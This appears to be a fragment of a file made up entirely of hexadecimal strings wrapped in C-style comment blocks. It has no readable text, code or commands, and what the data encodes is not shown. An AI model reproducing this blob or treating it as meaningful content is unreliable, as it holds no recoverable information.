041cc79976045dfaa2fea305dbc5db9546cdc3aa9db638efd5fd007a6b079799be315c300d12d43bd807d94af1183b9f94c50cfa9fcaa57a53093204c92e8fb8f776882a935fde88f9db6ab94c7f5a45cc9f8d6ae4057f0dd2dba2fb735d913e196380144c8f92df837be87e3780e083ebcead301a5adcf1270bdbe1fcf6ba1589b7f33be4d4e1b2200311bc01626fe05bf1dda5c72b59771f1963aa1148481e2ccf6780f4bfa82101224aab2ae5129f5ef2d2aba05f8d1229915c3dd5e5c6d77cf1cafc4002bcf2d665dd771c641c974305ff13d71dc8118579548e34e7c0a9214081e714d4759235eed2347700c4807c004c45cdc6e090ab27b31a3e943e80e1c2e686d1f9705998c498fe82be62931fcb57ac844051a6629236babe9715dcd4a88a0ea726397c9c2ec4f30e82cf8a245437586c01046fc01cc2d5d3a952fc7b1c001fa3b726a0676a3f13ca6b7f56f08864fca8bbd53e78fb5cfc71f5eba9ac95b9023fb3b8c741d650909ccb8ce65f8eccfa26cfe4b08cb48a87c8e18854b1153b5887ee552cb3859250908bdbb07100fd51b9a5b4ac84e4e23b4f0a70774569d88ddbbc3e3d2b59867b7b4d7aae811f1ecacbf17cfcc8b3a13e60b533a26502216651755914e66172ffc99c371da9123f2734fc28ebc467f30ff28278f53ac6ca9056927126367e78e1216cd30ad75e35d96c97d97142d0741d6e61fb9dfdc097c646cf313e4646c3fbbd5111083f4a76850c102bf*/
/*c4d082c7b86a8174bd20696cb1bf1661a1e452ee54018b7f93411e8618c1891eaf2cf481c440cb857cb4a796ea8a91e9fc1e6c73ffc61d4fc0de81229bd0e7125e800e8b164f5192c6f555d86966114c75d3e4b9b87676624e674036908a5fc149c72b3d3165e64933d09ce535339329c0bb90c2f57709188182b2762c832499fcec8b7e9070118f5a054fccd8b6d16b5a80445655fe2ccabc4599b9a0dea3d41fb585bd5c9d415d3253c0498b91f8e1d0c479206eee05c15362c8a0af589cd75c3ba22e3679227932b85984a15306852bc4461df2b4989dd4816768bf7679e1d4d8d422908ecb62c5ebfbcafe89a727b9b9241df9a6cf9061afd9b02e6a78bfd4b599e099b3bd4f223bfd4a7a8dc784504eeddcfc253d8e9d96c7d3c8bbedfe9d3fefcea7effd352d44d8c7d731ed1c4e7482cb579132d3dc857fd29794cd3360695ec522b804657379c2b069e023063a83df7086d816b890e09c213ea55da4b6a2cf4b74f11a4a7d0645bdee0731c1098533d575c3c658e7601cdcec24a267e43c7539aadd8e82515a0ca40070dd7a1ab93d79713fb8d44e13c8de8357cd4367fafe7a0c2add3bca2c583036961c6f4f7e2f65de511594497ea8bf3daeea7788bfe24cc1befc70645efd4d12ba418afa884f1b78629b95cb5ba490a80035cea749b05022715a894692d1cd630ea28eb3c72ac5c6ea9ff90de7b8cb2853f34f9222c54b3b28c9c13f5b54f879e8f4641744c14a489bda91396e32a02637bf725b9cd71e828b2bff8631a8bcc15b01756eda8f97c94e3d4ad2df0ef9d99469e8b1eec09ea9bd6872b003c74ff2506ee6622a2d81bbea013367be9432261e3f94923a40c853e9cdf88b774cf98ccfbe041559e1cfd7a6c34ecb90d315303fde6fc3b1a65d6fb93961fede46a347ab80990888ea4fac0fbf834c420bf265a443c45a915d60bbf7690ab4ad505e5db4cd7a7dbfabdc1d9f7cf509431125a97bb126adb1f64019cdc97fc1c0a0a1f448503854c8a145ab56a9fcfe40ba6b90f0f9bee2b84b1b8f1691faf96bb948457b11b57d2a98206655f833da7324e6310ad05c171260849a722f4d14b7bb5c00b78df4b1536ce39f7a42b8e499bd648d6fedb17cd3ac35242af16166fc3b40dace4788bf0caa572abf6ee7933d134a1bdab1c6f83608fa3bbe54499cff04e4f56b7f242091f9050dbb37840501b2534e4c6a3ea86bb4276c6167c1ab656428cb45a78f9b9a1a6e04285fa4b52b49b7e5497c312eab8a55250289d96b588d9d2069524dc8f004e51f3bfe70035c10567db1020dc6199ae210b8856fb77ddbb38dcb2f3dbdade7bb3c25ff8384ff6a246a78fa845ded2084c256d3e1693b5dc98b9f6362dc6a7d57963feff76824ba37a937bc2e4a537b7b294dc4c9a8045d437d0d67e0a0beba660d6f4665305c674cb485b6ca9898599642f1f684c5c0c00c53a405c017e79c5a4b9ea1ba086827546c80c9a6be02160463c55bd34e697192e823bdebc05c2cce09a0c3bf7d4d3e44de26d619f6a267ebdd01e632e7b424dd3936a548fcc21aee3936b1384149ff93817eaba1334a1d31680fbac50eb564b1f18dcbc59a03dcc17a9251137fd8b95c188916f2aebda3b09d64ccacbf12600c521bca02aa5e0e4ae4e57e969c60af17c585f11878061118e2c8559dd424003d8524eb43c78a9116c6a5ef3fb7eb43341a6a480d75f62085f2aded5f15479da524eeb26aa85c65c66775691c7514836855cc5d1672c2a1f77911d17e190588bdcea0dda62c28856b0f82f9fb2a32be5b7a8171a3c428ab37207c492b937c1128303e2d6194f824e6c7d32e38cb53396f277b1b18d278039a99e296964bc1cb3f08df3c8f915276bef9d483dca8cb0add5e9307bda81eee5d86fc85c2ee27b0a515c5818acad245782cd943e3fcd025ca704b232c9488246bae0ab90eef0f629c95f82aef0c2431ae48447743f7a0fa005040c16498737a9719c9a12c3ad6e618541fe8ed1371d41e75f3c9d95f7de4511d33df055fe5303fc339ee89ddf7cd25ed1e4ddff7cd2c997e3f16edec3c36abef6c1146e7d5140e5a9e352f980e43ee328c8a33fc2f0384cd517d422a48cd970e5c7dac037dafd50ae45b4d5e07ce1d1e84a2f9bfc33da99d3030c76e0235efbe8158ab2ecae4d98bb53a3201c65a6f8f39937ad3a54664d763419b75dc5910b1d1584c3a966dbc00c954b6d884bdf67bf40d57f3ed9652293060b9b2203aa5e49f44963db313711bc11d73e39e85e12c6dc0a9db49ebf1053d8270bb5ff5db57db3f3fd824acbe691c1b621ce9f1c4938e4c37de8e92d4b8ae53f65299f12dd8f4a8ca92d21112d8878d2427717e9d081b640cd1e2440b5b5a929a0effd7438f5e48fe34731d7a3cedc2aaa44352b8c370bb22e583786c8480c8c35f0890538dfba7eabbe5fbccb07682fcff80cdf2e9c10f8f32766c8115b4a791ca01351b2252f19395ff30db962ab9a81c515427cb839541448b92703ff5f64d346858f094137ca4116198f66a6593fc34f0544ad977ad89871a471a2ee35627bec8c5bc474cea9b5afbe1741a91d67592d9ecf5677a276775c5998ccfb4b0e245bcb31bfb2254ad2e4c57ef1be484623a110c9b6a1aadd44bbe9b7142bf1bf58f3eb5193f4d7db13f5e99c9d3c5b0034b7e4ba3a7298f7fc4cfe7f36921db260084442bd8e704f2205b5c2ca2c2d8ab8bdcf21e043e28c13da1afc0f4581609d5d4b8b8e4e0de103b65471caa4839f38365df5e906ff455e3358550b4f0cff0f392c185a226fa8334b92bd2fc5d7592b941e759f0a0aa71*/
/*c59df0e9ee5743e643c53236b4e214ca142dea7ee9d7c9a505d9b03e2ba763d0c838b9ceb3859a4b50bc1d7cff5d53788e737683c11fd7723204785b75ab0c8f015a730057fc29ff56346dde51448a39cf98c8191bd23abcc1eacd0004455e9ae4e2dd3fa76038bb4a31a9008fdd48111541dae39ad202a6a2f1cbfd1f2603a7a2305d204f7a383657dbaad76be93a47affeee2b0e251039c82841b93511737c1e1c020f4a8bf05b3bb43c6ded896b2f07c0cafd153cb1cd4e0a1a717b08b676d1bbf46ddb1766e4bb6f25bf1d650c85bfe57039537f0ee540e33b2c5a94a692482ed2d29c40c703770fcb367377e4d25bb196d98586f43352d2365522a40777b46a3e5e225bc294467c033668486a1d354d39d3f1dec16cae223a2a984fcec746db1dc8278d3bae229e6eb9366daf6078d7ceda694aadb5a1f466cff5347ae16a1729f2d794acddbc7374d4936a25bcd50adcd652e6a592054d4884ea2bfdc9820c490cd2cba8fcfa0ea25bc9e74e009d993f87566232ad539c7b1435a64974e6428b4eec7b1dd026b3245e6fb759126839ab69e73c4500984161332347e424944f490cbe44307fe6936c70bfaecfb13c5becab6e8b66e45576000213a44866a1662ed4b8b066cf16f48bb349375dd046500561fa63aea102cd28f6ae5970e27111b9ad2b4a671e9dba64d6bfb2598bf78f72e8ed0410f248c163412d6cb7f79d989fceb28a27f85a4e7ea643eb7c554ce044c6bf6fd2350957869b9af72933289c3b4cfe7659679acf22051ddf2fccf86ce346a5f3c601c3b0df993773156caa45cb4e807802d5bea4b5710c1554fd2e0b2ef7b3b8005cea79be23eb6157cbc3cb579564b3665cc092a114d86874e9345c46cf9b7c911cb2c0865e12ab34780e8dcdbb7605fa9fa2ca947c4b0d3e045124e559540d8715612265be7f1cf937be2bf3d79cecbb153974f7b4797eb48816e7a240aae29bf31c61e6ada551a5ad7b3eefec6272ecc038f57f7d652c749f6d22b43d8dd9208660b57c9a4269c1b02b89959d5721127390c2fbd1978cc6dd355ecfc9cc8d9710337de51469d0309d6c6f667a0e84a98a7557ba92008b04e961136839036e0f84529a3e404029172f1c35c2709702a7c4c4c2dcae9d9d1cfd4b498d7a18cac4009c71b5580a0835cfdf7eeb1e498f899d10e06b4a82c5077e0eb7bd379efe237f18c497f11565f2919685791ae2de62c5c299151b17011a35d5a544eb6173acd155a5a01d48d72752f58ca140dc15bc4420a5d9c949f06cb5e681597df529e24cc37d647dc859a092af2b92c3f7a7e9aa3487cc48a4a1a803d8b2e99838954487815d11eb4e76c250f69a4c2c90179d84db95107af800fc2a272d6d229240ff918863b9cb4fe97f7e210334373cdbb3ad3a9f12106379ba569daf86de19d63a8dca28dc35311ceac89fe514f6fc7b64e61b7960c1514d93d1e18cdb9c447f642eeabb5d25d4956ad5a1242eff67838f35a1b959dc99de366102e221efe98547536cf0aa29a2cb20735ff97d880a5b59cc589b1dc08ae2850d22b6123d2eb712f35650660360e42412c57374a1503eac55e3b31e0a4d09d5cdb2d8decf6419ac7a3dac494c979beca2cdfe7c51221531fd93a1603952c633ab5cc66bd6713e8f2bb70cee09356e846acc18d6313e0df9a0c57989164312bdc8a5d3210a10063a4ebdb865a65119cdc4091b477846839ad8abdfb97a9bd0078d322866d9c9f9142cf917522fffb6ba88829e575c60c226adf141042be20846b23c99188ccd78e6acfbc89a390a163a9db2d64b39d1111956e750b6777a0d4101956f36d7542f45f301a6df6d9b3eaba957f493cf8e697f48d026aec757fe03f0823ef0171ab7813dcb467839c6657a32b588111f73fd8e7195489bf7aec33a78e60ec319909bac2bcb498b96613237d2dee7c1973dc1ae15ffd13e6daea7df27b9d6f6ffe863e537609557a954ce7fb6395467a9b3f094b21162e0696dca7bd4b8d469e5ef46c3679ab82cb69c153e3e386b293599db5885e70cdb8fb8cf6a33df302e2dda598c77a3d4494cb3cb731136cf5a2c066520b233ba75f39c9eb78bd3784379047f30c9971c81ac11dc1ba6d7cb163c5b0ba24af3df2c9cdcd2faa3a4b13cada558a815bc317cc94d7a4a2bb39a1b517b8c5e2c8b81d1d783e8c153732285dc238103c5a77ee80bc0e235c4170475c4088bc6e83848f3140525e46fe0f378087e039c4f099cc1e9258adf4cc91ea7939a3e2e91de3ede3aa6d24854389f3295c7b9c4c3f08519438f8be0510bff23fed6d564bc30aaa369eef8f2d0bcb423623680bb6a630dd872a09ec406fd446a97ea2d5ec250c874cf0ee1723f1e32682a4bb551693e756c65e41bc501f34d3cac65367c8899cd284c9484440e7fed6b9f5056d055d03c54e0dc4ddc3b9a721ceb0a6cffff0eb0fc922b46c892c5b47e449bac9875ada1841c786ce2af089df70c5bc1efe0a63ad871856c924111bcc365dff5e7e0b9dbecd89690a82a8669b5a2dfde61ccf48eeff0caaf3e85d0e09abd64434a5d7a38e4d28778bbe8e8bfa0d804f8940d3b8879d8eda08840b6f74ac4717e3e6057c229ec699590ce5bea5d7d619236a4564ca97e75ffc8a2a7d5130677b47f8e6141f4c3089d3d9aae3f065cc04500d132bcc8b7b04f5264b71ea149e0c5350cbfc7b2eb4c3374d2cab4ab1c0bbc2e0639c6d68bf71676fe0bd5a8bbc706d22c8fc0ac00ec8f6c84031f6dce8278307a5520b0bf419a6cef00d0048944e51a6cc95add58c5d3a9bca94a78f0e8b08e049b2f0bac5cd76013*/
/*5e215865afa43e93ece524e77b650f75204f860b8a0560720341ca633cd36aa4348cc827a88b8030a55c1f9b857f8e17924f36e7413dc5d5ebd61e75f090a6e259f62096e6785f2023663377749f91ea68f08dc31c3bbd5e6e08dcc602785b3dd0df51a4838f16aa7b1d5cfa62ab6facd7499672b41e1e12a3fd8a33127bc33f765510aa0dc8e0122e13d6e357c1d0ee4fd81a62e060c7bb5d1ec1d76b74079330f09647d589378a835769f325cf75bb81812c55c7fda00c9ba391ec53067f8ead11e057b21735e21d88904c96cf9729c1f7108084ea3dcb729241cefe0ef9ac6b6a025e5a7a3d1621fd6163680c72503d9716e3e2ff2e6e9f4134739b050eb9bf618cfa006f8d3e2f86034c617b3bbcd7496d73ab4b989e81005b1aad6e6706f333e5f68ee07a42840e417252b3b2ed93ccd68913fa15642b6cfa35ce590511a807342f48afdd814d00b228c7063c9f4df25f549a2d87b02990166c6960fa4baae9f5d469138fff618cf54a979a57c20f4c719451aef5022670ea32fb26dcf530def0dc2b189bea1184e7f3249bd296de7934c045c12722b75a754f83774537fc9dd7ef6f2be36916c097b044aa070f267c40c186ebbf9495ff5d24bc4bbb956c9fa6b43b933f30ec66684d97c67c23d36e9c349828e24f4c6ad6cef7e7b17da2a02ec5468d545477fb865b2f62ed0193d95c05e63f75b33968966a2ab17e5af66e3ff73dc337a237f6bda3273940a99b76fdb6bd73bc8e134e7f7858d75a1a1e52618276744680c489d4120c9fcb7b84ab9818dd49da0dc12331f4e10547d4f4cc717f2db31e1402bd73f02dc2b7d347bd4223a3bc51f93c471049ec81d7bdefcddff4fbc36b9f5eb3f9f9c293c1ba0149dbc4c635a23be0180ec7572f758d96ae9afa18264d8ac9a4e928677fd183eb5c6d8d8791f5b7ae30dc42ad2e7ab3fbf7996c7f72ba0bcba0421ee316cbd3f0515e348890cc5fa3da324704fe211f6fd934a8e3249b62725f4871d86f716b9e6425ab8b4db7c70ca1e438b52211bc8f2c5022bb5a3be2e497f5d786dbc6b749901ce0021fc13548eee1746af25db918d70729fdefb9c26e0524fc054064ae9fd69a299519a7dfaa713990152a86c82fbcc0e65c73e2736ba412e21e165add675394eee705219fd1a9ccd6a0267ca9575777348dcd437b31ceafb732c01a2fb63f02f0a5c6949ef4d7b7a0f8defa2e3ed1afa75521820994d12711ce4c0aad3e18e3de57e90c35530d09ee0d5c70b584ee75168084b92bb83e3ece8df984e12a9a6bf47daf22c1106c443f75fc0ad8fe9bc5e5beae3843ce75fd3b9d7fa4a12b01666436d0401d4a7b9339a4eb64558b16f00a5eb03b2dabea62b533037f7aa98631ee7dffa4cd6747825fee08177c94ba85af44f421aa8a0709166bca539b46c571ebff0f806868fe6f25b226d05c45016d968a186577812810fb7bf05fb9b9007e2673b35f35237e12bfc7d3257d349d9c10c8a502bfa3ed49572a1758b13d56093e1764499fc743dfefea228296c88262a9724cad9277eabba6984593b4b5eb186ae8c114ec9b10e2f008dfc5ba48100004e94d5fb995759a7152543f1ac1652795b7c8469db211a52e8fe938d82f886c541f3e952bcc74d962107714ba2183d6bbb9e74d1b31e00ab32807442eeee8d81570dc398c849530a994cc51f21b8bbca9e0ca83837b51403db910a235aea493a60ddb57332f97215b7c89d84001c68a2a9f6f7a2654ad7e8715d966e086b18c5cd8d5023e4f9fed0c9a159078771343d597dafb66b87056a301ab3ac3154f70bd94a0c578d1c0d5591aba479e78599b93fe7bee48dd0ac51fa9146e549103cbd1f06d39e516bafd97edab486fd617c01d455d7faa8f7f431ae2559b18bddfdb4d956372885f159ded64969a0bc5c4425ef283cc952ecb89279c4c4980bcec4b03a3991a4cc2fec3c469a5b71f76019e5f5911dc1d6adf1b93f08b0c19707a9bdf34b7e0d9f756454cbb419d82e40d66ed0b2b97ac30f224fb5197b9892c052dc9c0b54d3d93da94bc9034b8329df86de52176bc0f0017191c263cea88c02228ab6e6b9acb045c0c5582f3336f05860c6a18f87afaf452271ef8e6cf996258d796affe0be58b4e3a093a689364efc389c4d96161f38d385eb9604293aba4901e1f4bccb1f3e8b399f688652c32ff42bb9da9ec9a7483669c0443a9f8366cedc41c76aa00c45fe4c4c22d1e5331ef24e3e3a55d67a14d2ab29db75e0ec8cbf432c46b34dca36a0e1d1bd9cfb778bae975cc81c9325226dc92f2cc7953e75e230e166b75004273f40bcb667173fee3831ece56bc5a97023f69a4990dbea6cf211637c5fc613727ca0893572ca4fe47cfa8c93565885f630d2dce0279b1f32df6a3424d2c20d00b6a4325b81a3b9cd5fd3fd2108743dc76ded68e9c08be3b2a4af28b433c12001654df6b80ee4c453467f9eaaf63f78016072fb9d43ac28ea20b0007b23001b9b8c0fe0690c299829c858b7c1920cec125e394bdd9d2df75f514bbc5a1fa1df33e9c738e3bf08528ce902a74946adda8ebeebf4ed69e19e4668d713240c9e12324ec479e36f029aac7f107224148d8b68839f55710e3ecf3e44cf87df70123de8c1d6460a03f5ac7b83a9f96601d57f0bebc2bb977fca8453bd170dac395742cb059b50e220f39aa73f9add5d8d2bc6f18bae275d1e488f47335f428a725826996117952f5f04956d4dc96573bbcd13ca30e8fb1ba4cb5bebcfe96b6238c37ef08b8ad8bbc67cea73924aedc5a47e38340a23ccefd0e5c9031c1da3fe449ccf036e1b7d012a5fda9*/
/*25de34757ef19b844ede5a511077320262a96979af08a5823fb850d144c88bf5da8efcec8444bb31c3416ac5eb101eef516055120aa7231f6104a79ae810b191dd1144489b1da3227229165cd9de83c0388557ea9c2ad9e4c110f0af7420012f2aa555cb4df4ebc97eff85f7ae8c9fb18839c75ef318570ed782effe0099b0f32b3d73e2111deb959ac6890a5a7b0c799058ff3b6957464354966db073fdf134e6cf5db931f5a6f53d8c95c7f0c490f55c52d49080cad195757b06adf6536fe0571ec7fb04c6a391a6ba00e09b274de346bedd9d585daa4ade645dbf0060a49900d465f366a235436f8dfd6c64097ee8bd92b4a44f949e280147b6c03c8e87b0d02f4ed2d76d0e750565d64df3a0a9c0879e2ad5367daca62e18791af3d348ba8816693248b97ffa0e9a79a0bf6589817f9ec1cd0fb22f2f13dd347fc9b710196a6802bbb20c713ebe235ac1615162a73cc75575c2101756a664dac133ad68d5c69bb71a117b4a4bd0a2e3a2d867105a890978e913c7fa4be1f3eb33d565fd20d09fc283fa8491dc34f83c88dbd90efc2bdc15705eb6c5dd28b46bb3eda9138104492ac4800d9a246a0274a0b0f140d21168700bbca6667f327cda4f5410f25b9bd1901eb0beea65bd1fd4d5fa3f480ea339b3d67f96c4e8b635a19b0947562e88aad96ca04c78e0b0ce387d8a9d517422561a1bb2e0a901a36e4005e6ff510bc71d29efbd3211f829100878a6809e6a6ac66bd5098c1068ea544f2a1f0eb976d68e7cc37f49dc42c0758b73d977802d492cf071230db881baf21647052b3fd308a005a5a9a7bbfea5655a8f1c10332b6974a61982007e20a96075cbc987230455f1df96bf6a544661dd8dcca1f6eb957d629db5b7eac943973c81745ce7e05d988f09823e9507522b9042fabff4a5c0b417944efbbc50904c45c8de68177632590a27bde4c511bbb447c275365b46cc7efc45e646d4fef9ec14cc0d44fcfb38b7c3a445abe2d545b87873bc414696c7b28a28de99e2f88824426b8762c9b094ffab87d60df741a9863706f04c910a2dcfd60c5536a7ba2b0e4780dc9912bd41c35303f33f81777c52ed8b36464776e1762d34ea2219104e84eae5f881659a95d650adabe6a6f8cfbaf54d40ccc66f856f11e2dfdaa6fbf136a884dbbd338c3c41f4271213a48c593599086e4760200a9d6b4239e29f08e5bd05eba97a0e914b51707d3f7259c54b3be53a016ba097e634678059016f54dde6cca2e8545d24927b1bf1d5eacd3e706ba13d5e27682bb2bb89f3274c44c45f2f94964299e0b4bdb8651e41c07a1442859f484cac946a332e76718bf7bfab8d02bb20a4155ddb76465de1bc6d65ec34d3ee48c182f23785555c2ea292b57812e2e6b5c4a0adebea719bfd5ea0831fda1bb5d1274253e00d1f2142098c73a24532a44d814f0d388e4325a96642e969dd3d6f0fac61d327eee4a55d4ee941f2e42eb6b4e7f133d47ffd8c4321203f33583bbdc27e9e147dfcd6e885109cc91ee69e71071df467e88d09d8f32e0128cc44c22b7df7e7f172b9f23dfbb8650fb6581e8ddb12099101630446fae365a7f71e37f4c8759b1be39ac69deab9537565ed97bd669d737683a8b08e0fd3b017508ddb4cefa5f8ddd53183ad80da0b337a10e0922830fcf0aba874e7cc517e06cff2cfe66052689f385e2a9230f41af5c59af7652335776c02588d3f58f2498e1502fa7032eb7dba0ae9be574da0145ae12c953bf2ff5f0e7f64585876f23b55e64e9f806d9692886c89c4bea537cca33208a28a17a962165ca4da39c4cbdc83aafbc143292375278b37a39c46c4a35cc0604c2406148a40b12fd438608067e7a5589b6fd3c94abf4506d8cc221c3fcc1be1987ab8adcc085668d76d3e12bcfe49c3b0dcf9f3481068d446e14024e09c9f16b704b9c5888b37aad44b3a321b293f15c0b43259b8f8e64ed01eb83461f34fbabdcc11fd9bd388443b32e67bba0d09b2a7b86c98e7d192cad97f30faa9f65426b6c5d25f10a1d03ca2181d73ab623b21f800ef24a7fed95ac6594dbec228a6c32d00c9640ae42296e16b53b57c5931d056d76677c657de85444524d7de741a5a841f01be292ae23520364b4c1d6e08bfe012878c050b29c70559b62575b9b475acba8a8e47505a58c155f667f74503946a66f1be7930ad52eb8c884a33a957e8fe0ad95fe5f388fc239bc2833cc500fcecb0b77030f26ae7d1ab2ac375e4a997044a2eb1a108c41ec5c60331373c86847020b0a5c359354763c37100b080afff989518d257a30258fbd538c1df491c84272af261853cfa2bf23483d4c80fbfc606bfe7ed9f85047eea29e1ebccb49e9f4f85b73be114f78abdf686a9085dd58005f2a3e33b459e3c6af9b49259cefd5a847c2b6e160f9901d727439378567144fec3b18a429200fb341fac632e07ea7931d4b3e91899d70ee3f4104c89ce647df03391ca91377e064388a885c24044c5a4d2a65d20219f3b026fefaa9a8106a24a3774cf4eded381c319e31f41b6894c9db92def548dc1bf1651801f9cb001e9d5e88bc65ce954fd0aa55ffbe3d2112ed5a5cc2ce4dcc104917206c5f6ac3a58e3462bf075424f33bf7d1ccb19db1a0cb3c8f85dac7713062176972583bc944d9518a470754105471006e7cf5cb2c69c250e2977e18f8d0de6645c48b76498fa9b6ced6e820cacffd675b32a45f2a11ee6df118548e94c0734a7733f6948db480b004e22c4d88d90ec91f118fd9d35846217014f44735b1471c4e1830e937953bd88b642df3d16c4f6a67144227b3baeae10d808f755aef5*/
/*a97b524f387887793bdce073ec6b81c1ee50956c92a6bea97891fa103a0b780b01d8309bf49df4d0123155e07770f4305487165810ed17dbae96895226d1d4cc5fc842e1a3d259ff8fa1f41cb7f06db0fd68d7ab3fb048364216fdd54980a6fceed00adb6ab9bad277cf3c24951e64b9b9096b942951249c699c38f3ada03878ca55bcc8c719a60d695d15abfa4349adfad704346108a1b037057eb38fdd2239322d236ac4f1d79a1ef8b11002d574e623e2506b42ab9f39be1f2084b14686d33b2b2740be24e370583ad49035d7613c9f6ec77116137c8cb9297d9fddacb8f7b1dbdd1c6cd2d09596e49bf254a850f243b45c8d59a161d4d2f792b357520acc3558b2234da008177922aa9d717f8ac8e68222318612d1dc57fa1424a8b33d06f0ecfa7344f9805ff1cc6c6618d79286766bb21f93a081398132226d591fd971ca832a429f29552213a90146c839cfb1b735801bcd631ff9897df8c444c4c43e082cb7586a23ea5cbaf987ae32d2e3faba81c6fc03862d8c64ca2caf7685c11ec8a898715e74c3611594eaad398ebe497ed7390cb816e8f86f667e4e8267923f1b4263ae5e3d6660c299d94ffbed6b940525ad8d9e10052fc5e5cf3cc1943ea6d46a27ebd9c3425b9fe36ec966af8e6707045e6a7c235930c7eb289bb5095da5df35bf06a37c86c4e4cb78ef7665ce8047e2780b2e87f892829ee3ebb305887f0d70e331a11cdd9fa7f1d01bb96a8f45d6c0b9f984b041e446c282fca19da8cb3902f380bff46462335528d259a81f1e5cf7c4a08cd817691974372a25cc365d538061a67cd4f15573bb248d30866bd5ac5c09d0eadd0d3562aeffeba6409c318fff33755d28747657518b37568fd4b6bc06beff2a46e8895393319e2f33df701d794f24c1c988a62f89c8d78d18145bf31380172715208b0f5f815054ade22ac419ff0e370b445f706ebc1ef346b835324cc141361a743da7224b662f43bcc39245416cceefd975009652d84b1a3eaa20464bc3469a31b0798cee3dc0fd6b12332bbe22c971daf1bd6ae79f61425b9c3495fa0fdeb79b15f6b521d5b74fdd269dff04661003c77ca33ac50f2619ed501a4532e219d6d16a9858e98c204a75153fda5b221f826016eaf6f3ce843b1afafb3efb2b6e8fb255976f242d9bc413ac9781812f0f51ee370d4ea3a28da19b16afd80257e0926953fa35b57b18dc1934eb36c764c9317e4d4a81e3024998966d8d49dcc3b7078f62438d20e53de5d1b3094d1da466d13c5edca7dee7985103538c370978ef69a782d74ddcd2f7fbb77425ea47477c83e04de3dd626e206888e35dcae9019de490ad80c8d563d9252c0ba593fd496734e20bc19fad49baeb76eddf309cd2e5451e4b8c08a3d0621096630272f66193fd0deb0723bdc21e424f0d77f6e2a74ba6a838e1bcd098caf235a887cf0c4b8901c14407dba5478279115c53aa9b016b8bee086bfb77a321c9d5b3fb191e2b6659c96601d29b2404aa35d3b9b9c9c1ad4479cb3413c38c6b70e7fdbb2f315897d49ce2e79c4cce0cce49f429f93f488bc02632d6254c2ea4f11346ccb9c711090b42a6e6f5c991ff400b1e4d1b083c7cb197bb37d68505669ceb87992238517ceca6596117e33d8a3573865e635280610d6bd5f568cf45ac78905f8761cb48fa2cc87b719bd2f274935306f254b857d21792a5a419e48641857777cf7b14b2f5412c0dd6c08e0d6b97e9588c492911998d7fb8f9301adbee7becbd1815bdb8ac0a72e999b8f3d4b6f7110c35eaeff615284564aa960d2dd6793fd77f94d63fcc952aa4193aeb662c6878ed51de9aeda643f8e5c2008ebc8dd228fe0d0aef0e1f66978ed9b50e4f8d22e82bda6f26bea2dfe6aa10d456a92ee0ef283ea17da79910a54b47dfa628194c220efd6a40e5426360edbf422352e9a747f9256fc1a7340a502039f5d240a3d30385daff692d722c38ea833cc86a13693befb34dcc1e60947ab70b24c1d8972236c09a87acfce07d3670155f1167d49a446d8353a83371b540ccd0db52f766e88709df81b21ccf46be9c54344d0d02fa1f26a06307ff7265026fb9a3e230654090be16868efff4606a3b9620b6c16aac7943a6871ad2f7d9fe980cce42c271d0415c167983ae712185d552658349788afa44559ab8a051705d56e4817363fa355555e918ec95776b13b2781399e7a3b1ee95c47ca7441b339653361bb4d9e59195762859430bc660d44f04a618d976cab5622b222f028e73652474b72bb40a43f20fed45487fb0d995004065a99e4d6f9b14bfbafcb930ceb81e529714811a0c72245ee26ce2f7b29b9591c9c2b36d36e9aa7eaaf220aee2816b6b62194ba74ebae0987533900da8faa1eea3a27e652a44c51afcefa446680b3b5644c6bd95a69216b3a60012991b54968a81c2cbece49164be2abf7deb3d28ba909dfb16b31b83d98a9b14dba4da7e8338a9e392d6a96a3517cc015b419d19b5d7dd87a2c61843b9f92e1253048a8ece6c9481845806a66429b0451c74b81cfe7a7b1a13f757643aae7b023977e8397ee9a2b22f921947a74391e9f9c90ce35906ae67a99a3f1226c85219d062eedc5eb32d674e1f4602851036b887a0cc1eafab5260cdbf76b793556e410ee70d661cefb580088e4fa1c8089eebb951ff332a0d1ae0db5b3c477549d18a0e1592f03dbf76b53dcbd9a9011323b14bf56aeb5366fe765b2049fa3cdff884cd74bbab10262ec185f83734c46a017336b78ab255832d86f745281ace82049a7acda9e76058fa98a58367eefa31325107484e6bda2aec6f09d61a00c2*/
/*859f571a3c63bafc5c24b4b4d9a27a3dab6c616f4978535e97411fd5294c07ab75da5fddb2d2031e4938dffafa3e6464556674644bfd105f779d30cb21175522e80e71bb984f50aaf64b97c75c3cdaf84f2f1d586d59113afa117ceb913b070c9a7dc48bd7dfd1331f6eb1394310b31a4096201e8919b342de8c902411f20eed445daa6cf86bf82cd07ac851c5b5c576ff5b4997db158343fb858c809bfaa3730e6c662b2947be0f6d7eade9f1fc9934bd25bd48eb8ea8d2bda8c237d2bca94160d04625cbeb1658580fe609cfc96a292be2fec06518ff9787ad651067059eb9ec93712bfe6eb4455bb9e6467f4980e95ef5ce36d42555e8f70dc4ee78318297c3ef19b2ab9c06aaa1ee6e834d5b7b98d706aaf1e90f33103e9abdb2839ed2426efbf3a5e212328b446484370ce2012a86965ea6de0c5a42ac6eeb92b29751057d9d1969ead8bff67686f17e989bbbd548bc886d1b61764a0220e126fef689e5d21621bc4b972344b66d3ff9fdab2babf0fd9b7154c14a68efa509c45c8881ef219bde8b027ae7cfd8c856b5c96ee2d33582faedff53ab50a2a79315bb7aef3a4de67ef650eafb0b461f33280934adc88b682a608e8f8cd5471d0b7956382fb2558638eca0203a9c477fd6e96d85eb5dfd86a085230ddd08a762d1b65afec5a81d70f11342b884d30e108199881f87caf8f4f3fd420d9c1a6838e1913e5e36f3e10addd6ab1fbe713ba61d856adf25b07499b6bb9234da198aab839c5c5793dc621bce02f0215ee933b4788f398613532ee3110711d7c6849efb479dcaa0f729e50aa5fe50bdfb9217347ffd5b08d30c84231a8c4e179ad284d53ad11f5b4090bcc9e3309807aec9db252d406563b7b2ec11d588ed3d2f181690cd697bad414f50a897d9fe679a601212da45a38f63afb7a65f94f6f263f442876f2964ffb5a1a4e0132eb566f5d9045d67fd3d1a35c2cdc0908e132fb7d72c3452048d300abf036e5ab67b2f44e904bda90795873a712ce869a5b7feb7e1b4b622d19102c91029aaa7ee96082cbaee064d7399f410ee177423936113a010f482094dc6efd6178e0f02b2935d064e7db304038e21430f23b1398605086c628d693bf5cf9f268970ff212a642a13a026545b05fdd34c3aa317512c08fe43f23a36b4a74ef3dc7b9dd1c2076dffdcccc2496a5783f4c064ee3d3a15554725b47b22f8a1cf3f75410319d4d9801f189e7241006fe28bea43ab9754b0d3918dad9f88234b85ba75104dbbdca6413dc031582b5c372b4b4e68ee8a7dfc407bb6cd22bfc37b92b7a46c7c41585965c7641ff53361a70285c7c17cce94813b44e